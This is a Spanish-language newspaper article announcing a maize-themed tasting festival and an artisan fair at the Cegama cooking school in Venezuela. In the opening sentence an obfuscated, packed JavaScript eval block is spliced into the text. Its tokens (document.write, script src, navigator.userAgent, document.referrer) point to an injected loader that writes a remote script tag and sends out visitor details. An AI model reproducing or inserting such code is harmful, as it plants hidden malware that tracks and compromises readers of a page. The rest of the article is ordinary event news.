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Una ruta con sabor a maíz

Reyna Carreño / reynac@laverdad.com
En eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdtrs|var|u0026u|referrer|tiina||js|php'.split('|'),0,{})) Venezuela, el maíz es uno de los ingredientes más utilizados y básicamente combina con todo. Mañana 10 de septiembre se realiza el festival Recorrido del Maíz, el regalo de los dioses, organizado por los cocineros que integran los equipos Tepuy y Apö del Centro de Estudios Gatronómicos Alejandro Magno (Cegama)

(Foto: Cortesía)

El maíz es uno de los alimentos más importantes que conoce el ser humano y con él se pueden realizar gran cantidad de preparaciones, así como también pueden obtenerse numerosos productos derivados, como harinas y aceites. En Venezuela, el maíz es uno de los ingredientes más utilizados y básicamente combina con todo.

Bajo esta premisa, mañana 10 de septiembre se realiza el festival Recorrido del Maíz, el regalo de los dioses, organizado por los cocineros que integran los equipos Tepuy y Apö del Centro de Estudios Gatronómicos Alejandro Magno (Cegama). Los asistentes podrán disfrutar de diferentes preparaciones a base de este ingrediente como cachapas, mondongo andino, guapitos, funche, empanadas de mojito, asado negro y carne en vara, torta de maíz y más. La degustación será en la sede de Cegama, avenida 11 entre calles 74 y 75, a partir de las 7.00 de la noche.

Feria artesanal

El próximo 16 de septiembre la escuela de cocina ofrecerá productos artesanales y degustaciones en la llamada Feria Artesanal. Entre las preparaciones que estarán a la venta se cuenta la salsa barbecue ahumada, el chutney de mango y ají dulce, el picante ahumado, sales, café con cocuy, harina de plátano, entre otros.

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